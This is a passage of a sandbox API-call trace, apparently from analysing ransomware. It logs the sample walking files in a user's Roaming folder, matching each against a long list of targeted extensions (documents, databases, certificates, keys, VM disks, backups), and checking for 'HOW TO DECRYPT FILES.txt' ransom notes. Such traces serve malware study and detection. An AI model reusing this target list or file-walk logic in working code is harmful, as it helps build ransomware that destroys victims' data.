7 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.odb") returned 0 [0087.432] lstrlenA (lpString="*.odb") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.java") returned 0 [0087.432] lstrlenA (lpString="*.java") returned 6 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.asm") returned 0 [0087.432] lstrlenA (lpString="*.asm") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.pfx") returned 0 [0087.432] lstrlenA (lpString="*.pfx") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.pem") returned 0 [0087.432] lstrlenA (lpString="*.pem") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.p12") returned 0 [0087.432] lstrlenA (lpString="*.p12") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.gpg") returned 0 [0087.432] lstrlenA (lpString="*.gpg") returned 5 [0087.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.vsd") returned 0 [0087.432] lstrlenA (lpString="*.vsd") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.odg") returned 0 [0087.433] lstrlenA (lpString="*.odg") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.raw") returned 0 [0087.433] lstrlenA (lpString="*.raw") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.nef") returned 0 [0087.433] lstrlenA (lpString="*.nef") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.svg") returned 0 [0087.433] lstrlenA (lpString="*.svg") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.psd") returned 0 [0087.433] lstrlenA (lpString="*.psd") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.vmx") returned 0 [0087.433] lstrlenA (lpString="*.vmx") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.vmdk") returned 0 [0087.433] lstrlenA (lpString="*.vmdk") returned 6 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.vdi") returned 0 [0087.433] lstrlenA (lpString="*.vdi") returned 5 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.lay6") returned 0 [0087.433] lstrlenA (lpString="*.lay6") returned 6 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mpeg") returned 0 [0087.433] lstrlenA (lpString="*.mpeg") returned 6 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.djvu") returned 0 [0087.433] lstrlenA (lpString="*.djvu") returned 6 [0087.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.tiff") returned 0 [0087.434] lstrlenA (lpString="*.tiff") returned 6 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.backup") returned 0 [0087.434] lstrlenA (lpString="*.backup") returned 8 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.pdf") returned 0 [0087.434] lstrlenA (lpString="*.pdf") returned 5 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.cert") returned 0 [0087.434] lstrlenA (lpString="*.cert") returned 6 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.docm") returned 0 [0087.434] lstrlenA (lpString="*.docm") returned 6 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.xlsm") returned 0 [0087.434] lstrlenA (lpString="*.xlsm") returned 6 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.dwg") returned 0 [0087.434] lstrlenA (lpString="*.dwg") returned 5 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.nd") returned 0 [0087.434] lstrlenA (lpString="*.nd") returned 4 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.tlg") returned 0 [0087.434] lstrlenA (lpString="*.tlg") returned 5 [0087.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.lgb") returned 0 [0087.435] lstrlenA (lpString="*.lgb") returned 5 [0087.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mov") returned 0 [0087.435] lstrlenA (lpString="*.mov") returned 5 [0087.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.xdw") returned 0 [0087.435] lstrlenA (lpString="*.xdw") returned 5 [0087.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.ods") returned 0 [0087.435] lstrlenA (lpString="*.ods") returned 5 [0087.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.wav") returned 0 [0087.435] lstrlenA (lpString="*.wav") returned 5 [0087.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.mp3") returned 0 [0087.436] lstrlenA (lpString="*.mp3") returned 5 [0087.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.aiff") returned 0 [0087.436] lstrlenA (lpString="*.aiff") returned 6 [0087.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.flac") returned 0 [0087.436] lstrlenA (lpString="*.flac") returned 6 [0087.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.m4a") returned 0 [0087.436] lstrlenA (lpString="*.m4a") returned 5 [0087.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf", pszSpec="*.csv") returned 0 [0087.436] lstrlenA (lpString="*.csv") returned 5 [0087.436] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ac88340, ftCreationTime.dwHighDateTime=0x1d5e3dc, ftLastAccessTime.dwLowDateTime=0x66a4d010, ftLastAccessTime.dwHighDateTime=0x1d5dd5a, ftLastWriteTime.dwLowDateTime=0x66a4d010, ftLastWriteTime.dwHighDateTime=0x1d5dd5a, nFileSizeHigh=0x0, nFileSizeLow=0x7a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FKutm4WJF.bmp", cAlternateFileName="FKUTM4~1.BMP")) returned 1 [0087.436] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.436] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FKutm4WJF.bmp") returned -1 [0087.436] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FKutm4WJF.bmp") returned 1 [0087.436] lstrcmpiA (lpString1="", lpString2="FKutm4WJF.bmp") returned -1 [0087.436] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFuDp7E2DAdP.swf") returned="FFuDp7E2DAdP.swf" [0087.436] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.436] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.436] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.436] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.436] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="FKutm4WJF.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp" [0087.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.ems") returned 0 [0087.437] lstrlenA (lpString="*.ems") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.db") returned 0 [0087.437] lstrlenA (lpString="*.db") returned 4 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.dbf") returned 0 [0087.437] lstrlenA (lpString="*.dbf") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.myox") returned 0 [0087.437] lstrlenA (lpString="*.myox") returned 6 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.myo") returned 0 [0087.437] lstrlenA (lpString="*.myo") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qbw") returned 0 [0087.437] lstrlenA (lpString="*.qbw") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qbb") returned 0 [0087.437] lstrlenA (lpString="*.qbb") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qbm") returned 0 [0087.437] lstrlenA (lpString="*.qbm") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qbo") returned 0 [0087.437] lstrlenA (lpString="*.qbo") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qbx") returned 0 [0087.437] lstrlenA (lpString="*.qbx") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qba") returned 0 [0087.437] lstrlenA (lpString="*.qba") returned 5 [0087.437] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qby") returned 0 [0087.437] lstrlenA (lpString="*.qby") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qbj") returned 0 [0087.438] lstrlenA (lpString="*.qbj") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.ofx") returned 0 [0087.438] lstrlenA (lpString="*.ofx") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.qif") returned 0 [0087.438] lstrlenA (lpString="*.qif") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mye") returned 0 [0087.438] lstrlenA (lpString="*.mye") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mbox") returned 0 [0087.438] lstrlenA (lpString="*.mbox") returned 6 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.eml") returned 0 [0087.438] lstrlenA (lpString="*.eml") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.pst") returned 0 [0087.438] lstrlenA (lpString="*.pst") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.ost") returned 0 [0087.438] lstrlenA (lpString="*.ost") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.idx") returned 0 [0087.438] lstrlenA (lpString="*.idx") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.dbx") returned 0 [0087.438] lstrlenA (lpString="*.dbx") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.sql") returned 0 [0087.438] lstrlenA (lpString="*.sql") returned 5 [0087.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mdb") returned 0 [0087.439] lstrlenA (lpString="*.mdb") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.fdb") returned 0 [0087.439] lstrlenA (lpString="*.fdb") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.wab") returned 0 [0087.439] lstrlenA (lpString="*.wab") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.dat") returned 0 [0087.439] lstrlenA (lpString="*.dat") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.txt") returned 0 [0087.439] lstrlenA (lpString="*.txt") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.jpeg") returned 0 [0087.439] lstrlenA (lpString="*.jpeg") returned 6 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.jpg") returned 0 [0087.439] lstrlenA (lpString="*.jpg") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.png") returned 0 [0087.439] lstrlenA (lpString="*.png") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.php") returned 0 [0087.439] lstrlenA (lpString="*.php") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.cs") returned 0 [0087.439] lstrlenA (lpString="*.cs") returned 4 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.cpp") returned 0 [0087.439] lstrlenA (lpString="*.cpp") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.rar") returned 0 [0087.439] lstrlenA (lpString="*.rar") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.zip") returned 0 [0087.439] lstrlenA (lpString="*.zip") returned 5 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.html") returned 0 [0087.439] lstrlenA (lpString="*.html") returned 6 [0087.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.htm") returned 0 [0087.440] lstrlenA (lpString="*.htm") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.xlsx") returned 0 [0087.440] lstrlenA (lpString="*.xlsx") returned 6 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.xls") returned 0 [0087.440] lstrlenA (lpString="*.xls") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mp4") returned 0 [0087.440] lstrlenA (lpString="*.mp4") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.ppt") returned 0 [0087.440] lstrlenA (lpString="*.ppt") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.pptx") returned 0 [0087.440] lstrlenA (lpString="*.pptx") returned 6 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.doc") returned 0 [0087.440] lstrlenA (lpString="*.doc") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.dot") returned 0 [0087.440] lstrlenA (lpString="*.dot") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.docx") returned 0 [0087.440] lstrlenA (lpString="*.docx") returned 6 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.7z") returned 0 [0087.440] lstrlenA (lpString="*.7z") returned 4 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.tar") returned 0 [0087.440] lstrlenA (lpString="*.tar") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.bz2") returned 0 [0087.440] lstrlenA (lpString="*.bz2") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.gz") returned 0 [0087.440] lstrlenA (lpString="*.gz") returned 4 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mkv") returned 0 [0087.440] lstrlenA (lpString="*.mkv") returned 5 [0087.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.eml") returned 0 [0087.441] lstrlenA (lpString="*.eml") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.msg") returned 0 [0087.441] lstrlenA (lpString="*.msg") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.edb") returned 0 [0087.441] lstrlenA (lpString="*.edb") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.accdb") returned 0 [0087.441] lstrlenA (lpString="*.accdb") returned 7 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.odb") returned 0 [0087.441] lstrlenA (lpString="*.odb") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.java") returned 0 [0087.441] lstrlenA (lpString="*.java") returned 6 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.asm") returned 0 [0087.441] lstrlenA (lpString="*.asm") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.pfx") returned 0 [0087.441] lstrlenA (lpString="*.pfx") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.pem") returned 0 [0087.441] lstrlenA (lpString="*.pem") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.p12") returned 0 [0087.441] lstrlenA (lpString="*.p12") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.gpg") returned 0 [0087.441] lstrlenA (lpString="*.gpg") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.vsd") returned 0 [0087.441] lstrlenA (lpString="*.vsd") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.odg") returned 0 [0087.441] lstrlenA (lpString="*.odg") returned 5 [0087.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.raw") returned 0 [0087.442] lstrlenA (lpString="*.raw") returned 5 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.nef") returned 0 [0087.442] lstrlenA (lpString="*.nef") returned 5 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.svg") returned 0 [0087.442] lstrlenA (lpString="*.svg") returned 5 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.psd") returned 0 [0087.442] lstrlenA (lpString="*.psd") returned 5 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.vmx") returned 0 [0087.442] lstrlenA (lpString="*.vmx") returned 5 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.vmdk") returned 0 [0087.442] lstrlenA (lpString="*.vmdk") returned 6 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.vdi") returned 0 [0087.442] lstrlenA (lpString="*.vdi") returned 5 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.lay6") returned 0 [0087.442] lstrlenA (lpString="*.lay6") returned 6 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mpeg") returned 0 [0087.442] lstrlenA (lpString="*.mpeg") returned 6 [0087.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.djvu") returned 0 [0087.443] lstrlenA (lpString="*.djvu") returned 6 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.tiff") returned 0 [0087.443] lstrlenA (lpString="*.tiff") returned 6 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.backup") returned 0 [0087.443] lstrlenA (lpString="*.backup") returned 8 